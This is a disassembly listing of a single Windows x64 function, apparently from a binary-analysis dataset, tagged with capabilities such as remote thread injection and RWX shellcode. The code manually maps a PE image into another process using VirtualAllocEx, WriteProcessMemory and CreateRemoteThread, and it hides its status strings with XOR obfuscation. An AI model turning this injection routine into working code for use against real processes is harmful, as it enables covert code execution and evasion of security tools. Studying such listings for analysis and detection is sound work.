Function at 0x7ff65a6fc8e0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r12
push r14
lea rbp, [rsp - 0x38]
sub rsp, 0x138
mov eax, 0x5a4d
movzx r12d, r9b
mov rsi, rdx
mov r14, rcx
cmp word [rdx], ax
je 0x7ff65a6fc948
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x1293014
mov dword [rbp - 0x7c], 0x44070b0d
mov dword [rbp - 0x78], 0xd0b0f03
mov word [rbp - 0x74], 0x63
mov byte [rbp - 0x72], 1
call fcn.7ff65a6fe1e0
lea rcx, [rbp - 0x80]
call fcn.7ff65a6fe270
xor al, al
add rsp, 0x138
pop r14
pop r12
pop rsi
pop rbp
ret
mov qword [rsp + 0x130], r15
mov eax, 0x8664
movsxd r15, dword [rdx + 0x3c]
add r15, rsi
cmp word [r15 + 4], ax
je 0x7ff65a6fc993
movdqa xmm0, xmmword [0x7ff65a784f50]
lea rcx, [rbp - 0x80]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x70], 0x67
mov byte [rbp - 0x6e], 1
call fcn.7ff65a6fda60
lea rcx, [rbp - 0x80]
call fcn.7ff65a6fe270
xor al, al
jmp 0x7ff65a6fd47a
mov qword [rsp + 0x160], rbx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x178], r13
mov dword [rbp - 0x80], 0x533371b
mov dword [rbp - 0x7c], 0x6e080d41
mov word [rbp - 0x78], 0x100
call fcn.7ff65a6fd9e0
lea rcx, [rbp - 0x80]
call fcn.7ff65a6fe270
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x7ff65a6fca45
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a784f60]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a784ff0]
mov ebx, eax
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x70], 0x10084d5
movdqa xmm0, xmmword [0x7ff65a7850a0]
movdqu xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x50], xmm1
call fcn.7ff65a6fe060
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
xor al, al
jmp 0x7ff65a6fd46a
lea rax, [rbp - 0x68]
mov qword [rsp + 0x170], rdi
xor edi, edi
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x68], edi
mov rdx, r13
mov r8d, dword [r15 + 0x50]
mov rcx, r14
lea r9d, [rdi + 0x40]
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.kernel32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x50], rax
mov r8, rsi
mov rax, qword [sym.imp.kernel32.dll_GetProcAddress]
mov rdx, r13
mov qword [rbp - 0x48], rax
mov rcx, r14
mov rax, qword [sym.imp.kernel32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x40], rax
mov eax, dword [rbp + 0x98]
mov dword [rbp - 0x28], eax
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x20], rax
movzx eax, byte [rbp + 0x90]
mov dword [rbp - 0x18], eax
mov qword [rbp - 0x30], rdi
mov dword [rbp - 0x24], edi
mov dword [rbp - 0x14], edi
mov qword [rbp - 0x38], r13
mov qword [rsp + 0x20], rdi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff65a6fcb44
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a784f90]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x110a064d
mov dword [rsp + 0x54], 0x54011715
mov dword [rsp + 0x58], 0x20520e45
mov word [rsp + 0x5c], 0x73
mov byte [rsp + 0x5e], 1
call fcn.7ff65a6fdde0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x7ff65a6fcb96
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x7ff65a6fcb87
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x7ff65a6fcc32
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x7ff65a6fcb57
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x40]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov qword [rbp - 0x80], rax
mov rdi, rax
test rax, rax
jne 0x7ff65a6fcc94
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a784f60]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a785000]
mov ebx, eax
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x70], 0x85d6a8
movdqa xmm0, xmmword [0x7ff65a7850c0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x74], 1
movdqu xmmword [rsp + 0x50], xmm1
call fcn.7ff65a6fe0e0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a784f70]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x50551d03
mov dword [rsp + 0x54], 0xc560a41
mov word [rsp + 0x58], 0x7f
mov byte [rsp + 0x5a], 1
call fcn.7ff65a6fdbe0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
xor ebx, ebx
lea r8, [rbp - 0x50]
mov rdx, rdi
mov qword [rsp + 0x20], rbx
mov rcx, r14
lea r9d, [rbx + 0x40]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff65a6fcd2a
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a785040]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x50080004
mov dword [rsp + 0x54], 0x2c560a41
mov word [rsp + 0x58], 0x7f
mov byte [rsp + 0x5a], 1
call fcn.7ff65a6fdbe0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov qword [rbp - 0x58], rax
mov rsi, rax
test rax, rax
jne 0x7ff65a6fcde6
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a784fa0]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a784fe0]
mov ebx, eax
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0xa85f1a18
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x64], 0xa4aafae4
mov dword [rsp + 0x68], 0xd0a2feb5
mov word [rsp + 0x6c], 0x83
mov byte [rsp + 0x6e], 1
call fcn.7ff65a6fdfe0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x7ff65a6fd490]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff65a6fce99
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a784f20]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x14000d01
mov dword [rsp + 0x54], 0xc435214
mov dword [rsp + 0x58], 0x7d2e50
mov byte [rsp + 0x5c], 1
call fcn.7ff65a6fdce0
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
movdqa xmm0, xmmword [0x7ff65a784f30]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a785060]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x70], 0xfec6aef9
movdqa xmm0, xmmword [0x7ff65a7850b0]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x74], 0xf1fef3d6
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x78], 0x1009cbb
call fcn.7ff65a6fe160
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov qword [rsp + 0x30], rbx
mov r9, rsi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, r14
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
test rax, rax
jne 0x7ff65a6fcfa6
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a785080]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x1c060f0b
mov dword [rsp + 0x54], 0x44531614
mov dword [rsp + 0x58], 0x722f530d
mov word [rsp + 0x5c], 0x100
call fcn.7ff65a6fdd60
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
jmp 0x7ff65a6fd460
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x7ff65a6fcfb1
lea rdx, [rbp + 0x68]
mov dword [rbp + 0x68], ebx
mov rcx, r14
call qword [sym.imp.kernel32.dll_GetExitCodeProcess]
mov ebx, dword [rbp + 0x68]
cmp ebx, 0x103
jne 0x7ff65a6fd429
xorps xmm0, xmm0
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rbp - 0x10]
mov rdx, rdi
mov rcx, r14
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x10]
cmp rbx, 0x404040
je 0x7ff65a6fd3fe
cmp rbx, 0x505050
jne 0x7ff65a6fd059
movdqa xmm0, xmmword [0x7ff65a784f80]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a785030]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x60], 0x755f19
movdqu xmmword [rsp + 0x50], xmm1
mov byte [rsp + 0x64], 1
call fcn.7ff65a6fdf60
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
test rbx, rbx
je 0x7ff65a6fcfb1
mov ecx, 0x1400000
call qword [sym.imp.ucrtbase.dll_malloc]
mov qword [rbp - 0x60], rax
mov rbx, rax
test rax, rax
jne 0x7ff65a6fd0c3
movdqa xmm0, xmmword [0x7ff65a784fc0]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x1d4f0b19
mov dword [rsp + 0x54], 0x61c1f14
mov dword [rsp + 0x58], 0x1007c0c
call fcn.7ff65a6fdc60
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
jmp 0x7ff65a6fd460
xor edx, edx
mov r8d, 0x1400000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
test r12b, r12b
je 0x7ff65a6fd0f6
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, rbx
mov rdx, r13
mov rcx, r14
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
cmp byte [rbp + 0x80], 0
je 0x7ff65a6fd280
movzx edi, word [r15 + 0x14]
xor esi, esi
add rdi, 0x18
add rdi, r15
cmp word [r15 + 6], si
je 0x7ff65a6fd280
movzx r12d, byte [rbp + 0x90]
lea rdx, [0x7ff65a784f00]
lea r8, [0x7ff65a784f08]
lea r9, [0x7ff65a784f10]
nop dword [rax]
cmp dword [rdi + 8], 0
je 0x7ff65a6fd26d
test r12b, r12b
jne 0x7ff65a6fd166
xor ecx, ecx
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x7ff65a6fd166
cmp rcx, 7
jne 0x7ff65a6fd151
jmp 0x7ff65a6fd1a8
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x7ff65a6fd186
cmp rcx, 6
jne 0x7ff65a6fd170
jmp 0x7ff65a6fd1a8
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x7ff65a6fd26d
cmp rcx, 7
jne 0x7ff65a6fd190
movdqa xmm0, xmmword [0x7ff65a784fb0]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x11190100
mov dword [rsp + 0x54], 0x100781d
call fcn.7ff65a6fdb60
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
mov edx, dword [rdi + 0xc]
mov r8, rbx
mov r9d, dword [rdi + 8]
add rdx, r13
mov rcx, r14
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff65a6fd258
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a785010]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov ebx, eax
mov dword [rsp + 0x50], 0x50010104
mov dword [rsp + 0x54], 0x54490154
mov dword [rsp + 0x58], 0x520e45
mov word [rsp + 0x5c], 0x73
mov byte [rsp + 0x5e], 1
call fcn.7ff65a6fdde0
mov r8d, ebx
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.7ff65a6fe270
mov rbx, qword [rbp - 0x60]
lea r9, [0x7ff65a784f10]
lea r8, [0x7ff65a784f08]
lea rdx, [0x7ff65a784f00]
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x7ff65a6fd140
cmp byte [rbp + 0x88], 0
je 0x7ff65a6fd3ae
movzx ebx, word [r15 + 0x14]
xor esi, esi
add rbx, 0x18
add rbx, r15
cmp word [r15 + 6], si
je 0x7ff65a6fd382
lea r12d, [rsi + 0x20]
nop word [rax + rax]
mov ecx, dword [rbx + 8]
test ecx, ecx
je 0x7ff65a6fd36f
mov eax, dword [rbx + 0x24]
mov dword [rbp + 0x68], 0
test eax, 0x80000000
jbe 0x7ff65a6fd2d3
mov edi, 4
jmp 0x7ff65a6fd2e1
test eax, 0x20000000
mov edi, 2
cmova edi, r12d
mov edx, dword [rbx + 0xc]
lea rax, [rbp + 0x68]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r13
mov r9d, edi
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
test eax, eax
je 0x7ff65a6fd332
movdqa xmm0, xmmword [0x7ff65a784fd0]
lea rcx, [rsp + 0x40]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x1c4a4e1e
mov dword [rsp + 0x54], 0x1007829
call fcn.7ff65a6fdb60
lea rcx, [rsp + 0x40]
jmp 0x7ff65a6fd364
movdqa xmm0, xmmword [0x7ff65a785050]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a785090]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x60], 0x100
movdqu xmmword [rsp + 0x50], xmm1
call fcn.7ff65a6fdee0
lea rcx, [rsp + 0x40]
mov r8d, edi
mov rdx, rbx
call fcn.7ff65a6fe270
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x7ff65a6fd2b0
movzx eax, word [r15 + 0x14]
mov r9d, 2
mov dword [rbp - 0x64], 0
mov rdx, r13
mov rcx, r14
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp - 0x64]
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
mov r8, qword [rbp - 0x60]
mov r9d, 0x1000
mov rdx, qword [rbp - 0x58]
mov rcx, r14
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov rdx, qword [rbp - 0x58]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x80]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov al, 1
jmp 0x7ff65a6fd462
movdqa xmm0, xmmword [0x7ff65a785020]
lea rcx, [rbp - 0x80]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x100641f
call fcn.7ff65a6fdae0
lea rcx, [rbp - 0x80]
call fcn.7ff65a6fe270
jmp 0x7ff65a6fce55
movdqa xmm0, xmmword [0x7ff65a785070]
lea rcx, [rsp + 0x40]
movdqa xmm1, xmmword [0x7ff65a784f40]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x60], 1
movdqu xmmword [rsp + 0x50], xmm1
call fcn.7ff65a6fde60
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.7ff65a6fe270
xor al, al
mov rdi, qword [rsp + 0x170]
mov r13, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x160]
mov r15, qword [rsp + 0x130]
add rsp, 0x138
pop r14
pop r12
pop rsi
pop rbp
ret